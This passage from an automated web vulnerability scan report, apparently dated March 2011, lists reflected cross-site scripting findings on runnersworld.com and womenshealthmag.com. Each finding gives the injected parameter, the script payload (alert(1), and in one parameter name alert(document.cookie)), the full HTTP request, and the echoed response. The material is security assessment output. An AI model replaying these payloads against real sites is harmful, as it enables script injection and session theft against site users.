a/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScriptadabb"><script>alert(1)</script>db925747ca&plckElementId=personaDest\"/>
...[SNIP]...

2.1016. http://www.runnersworld.com/community/persona/index.jsp [plckUserId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/community/persona/index.jsp

Issue detail

The value of the plckUserId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54590"><script>alert(1)</script>90fe948537d was submitted in the plckUserId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=838102324554590"><script>alert(1)</script>90fe948537d&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\ HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Expires: Thu, 10 Mar 2011 17:22:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:22:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=634252EA100878EDD401C70FC624ED84; Path=/community
Content-Length: 202265

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:pas="http://sitelife.r
...[SNIP]...
<input type="hidden" name="clientUrl" value="http://www.runnersworld.com:80/community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=838102324554590"><script>alert(1)</script>90fe948537d&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\"/>
...[SNIP]...

2.1017. http://www.runnersworld.com/video/1,8052,s6-1-0-5,00.html [bclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-1-0-5,00.html

Issue detail

The value of the bclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f17bd"><script>alert(1)</script>5586e56c41 was submitted in the bclid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-1-0-5,00.html?bcpid=2888993001&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnaHKh5WF6u2O3Ty4YWSlyjE&bclid=1497991495f17bd"><script>alert(1)</script>5586e56c41&bctid=814525280001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 73242
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:06 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<a href="http://ad.doubleclick.net/jump/runnersworld/video;'+rasegs+';kw=1497991495f17bd"><script>alert(1)</script>5586e56c41;slot=728x90.1;topic=home;sbtpc=home;tile=1;sz=728x90;ord=123456?" target="_blank">
...[SNIP]...

2.1018. http://www.runnersworld.com/video/1,8052,s6-1-0-5,00.html [bclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-1-0-5,00.html

Issue detail

The value of the bclid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fdc6'%3balert(1)//5ae8ee59e31 was submitted in the bclid parameter. This input was echoed as 6fdc6';alert(1)//5ae8ee59e31 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-1-0-5,00.html?bcpid=2888993001&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnaHKh5WF6u2O3Ty4YWSlyjE&bclid=14979914956fdc6'%3balert(1)//5ae8ee59e31&bctid=814525280001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 73116
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:12 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<SCR' + 'IPT LANGUAGE="JavaScript" SRC="http://ad.doubleclick.net/adj/runnersworld/video;'+rasegs+';kw=14979914956fdc6';alert(1)//5ae8ee59e31;slot=728x90.1;topic=home;sbtpc=home;tile=1;dcopt=ist;sz=728x90;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.1019. http://www.runnersworld.com/video/1,8052,s6-1-0-5,00.html [bcpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-1-0-5,00.html

Issue detail

The value of the bcpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 525c1"><script>alert(1)</script>27861296ccc was submitted in the bcpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-1-0-5,00.html?bcpid=2888993001525c1"><script>alert(1)</script>27861296ccc&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnaHKh5WF6u2O3Ty4YWSlyjE&bclid=1497991495&bctid=814525280001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 72907
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:02 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<param name="playerID" value="2888993001525c1"><script>alert(1)</script>27861296ccc" />
...[SNIP]...

2.1020. http://www.runnersworld.com/video/1,8052,s6-22-0-6,00.html [bclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-22-0-6,00.html

Issue detail

The value of the bclid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e101'%3balert(1)//0ea5f44a04e was submitted in the bclid parameter. This input was echoed as 5e101';alert(1)//0ea5f44a04e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-22-0-6,00.html?bcpid=2884342001&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnbE9phKYlvQXifhBatXLmmK&bclid=15157356085e101'%3balert(1)//0ea5f44a04e&bctid=814522203001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 73049
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:17 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<SCR' + 'IPT LANGUAGE="JavaScript" SRC="http://ad.doubleclick.net/adj/runnersworld/video;'+rasegs+';kw=15157356085e101';alert(1)//0ea5f44a04e;slot=728x90.1;topic=home;sbtpc=home;tile=1;dcopt=ist;sz=728x90;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.1021. http://www.runnersworld.com/video/1,8052,s6-22-0-6,00.html [bclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-22-0-6,00.html

Issue detail

The value of the bclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95212"><script>alert(1)</script>18c1add4f00 was submitted in the bclid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-22-0-6,00.html?bcpid=2884342001&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnbE9phKYlvQXifhBatXLmmK&bclid=151573560895212"><script>alert(1)</script>18c1add4f00&bctid=814522203001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 73184
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:12 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<a href="http://ad.doubleclick.net/jump/runnersworld/video;'+rasegs+';kw=151573560895212"><script>alert(1)</script>18c1add4f00;slot=728x90.1;topic=home;sbtpc=home;tile=1;sz=728x90;ord=123456?" target="_blank">
...[SNIP]...

2.1022. http://www.runnersworld.com/video/1,8052,s6-22-0-6,00.html [bcpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-22-0-6,00.html

Issue detail

The value of the bcpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db896"><script>alert(1)</script>be8c5dac303 was submitted in the bcpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-22-0-6,00.html?bcpid=2884342001db896"><script>alert(1)</script>be8c5dac303&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnbE9phKYlvQXifhBatXLmmK&bclid=1515735608&bctid=814522203001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 72840
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:09 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<param name="playerID" value="2884342001db896"><script>alert(1)</script>be8c5dac303" />
...[SNIP]...

2.1023. http://www.runnersworld.com/video/1,8052,s6-6-0-2,00.html [bclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-6-0-2,00.html

Issue detail

The value of the bclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b9d7"><script>alert(1)</script>87d7ad88591 was submitted in the bclid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-6-0-2,00.html?bcpid=2884340001&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnZeqZMwmU2oQb7me4-NwQYO&bclid=14979914811b9d7"><script>alert(1)</script>87d7ad88591&bctid=792944413001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 73309
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:15 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<a href="http://ad.doubleclick.net/jump/runnersworld/video;'+rasegs+';kw=14979914811b9d7"><script>alert(1)</script>87d7ad88591;slot=728x90.1;topic=home;sbtpc=home;tile=1;sz=728x90;ord=123456?" target="_blank">
...[SNIP]...

2.1024. http://www.runnersworld.com/video/1,8052,s6-6-0-2,00.html [bclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-6-0-2,00.html

Issue detail

The value of the bclid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f582'%3balert(1)//0ce3c9a80da was submitted in the bclid parameter. This input was echoed as 1f582';alert(1)//0ce3c9a80da in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-6-0-2,00.html?bcpid=2884340001&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnZeqZMwmU2oQb7me4-NwQYO&bclid=14979914811f582'%3balert(1)//0ce3c9a80da&bctid=792944413001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 73174
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:20 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<SCR' + 'IPT LANGUAGE="JavaScript" SRC="http://ad.doubleclick.net/adj/runnersworld/video;'+rasegs+';kw=14979914811f582';alert(1)//0ce3c9a80da;slot=728x90.1;topic=home;sbtpc=home;tile=1;dcopt=ist;sz=728x90;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.1025. http://www.runnersworld.com/video/1,8052,s6-6-0-2,00.html [bcpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/video/1,8052,s6-6-0-2,00.html

Issue detail

The value of the bcpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95b58"><script>alert(1)</script>c23aed50534 was submitted in the bcpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/1,8052,s6-6-0-2,00.html?bcpid=288434000195b58"><script>alert(1)</script>c23aed50534&bckey=AQ~~,AAAAABjSC4E~,YBF36HfcFnZeqZMwmU2oQb7me4-NwQYO&bclid=1497991481&bctid=792944413001 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 72965
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 10 Mar 2011 17:24:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:11 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://sitelife.runnersworld.com/2009/pluck
...[SNIP]...
<param name="playerID" value="288434000195b58"><script>alert(1)</script>c23aed50534" />
...[SNIP]...

2.1026. http://www.womenshealthmag.com/ [67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/

Issue detail

The value of the 67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abdb0"><script>alert(1)</script>b601bfecd4a was submitted in the 67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665=1abdb0"><script>alert(1)</script>b601bfecd4a HTTP/1.1
Host: www.womenshealthmag.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1729100254-1299775233056; __utmz=215400849.1299781489.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=215400849.1319002859.1299775256.1299775256.1299781489.2; __utmc=215400849; __utmb=215400849.1.10.1299781489; _chartbeat2=7nck2qi7auq0t9r5

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 18:24:47 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 19:24:47 GMT
Date: Thu, 10 Mar 2011 18:24:47 GMT
Connection: close
Content-Length: 82587

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
ter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665=1abdb0"><script>alert(1)</script>b601bfecd4a">
...[SNIP]...

2.1027. http://www.womenshealthmag.com/ [cm_sp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/

Issue detail

The value of the cm_sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bac4"><script>alert(1)</script>9e5e5cc76a was submitted in the cm_sp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?cm_sp=Network%20Banner-_-WH-_-Rodale.com7bac4"><script>alert(1)</script>9e5e5cc76a HTTP/1.1
Host: www.womenshealthmag.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:44:31 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 17:44:31 GMT
Date: Thu, 10 Mar 2011 16:44:31 GMT
Connection: close
Content-Length: 82286

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com7bac4"><script>alert(1)</script>9e5e5cc76a">
...[SNIP]...

2.1028. http://www.womenshealthmag.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67fb3"><script>alert(1)</script>5d360ec3665 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3"><script>alert(1)</script>5d360ec3665=1 HTTP/1.1
Host: www.womenshealthmag.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:44:48 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 17:44:48 GMT
Date: Thu, 10 Mar 2011 16:44:48 GMT
Connection: close
Content-Length: 82313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3"><script>alert(1)</script>5d360ec3665=1">
...[SNIP]...

2.1029. http://www.womenshealthmag.com/articles [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/articles

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea265"><script>alert(1)</script>d0c0c47dd18 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles?ea265"><script>alert(1)</script>d0c0c47dd18=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
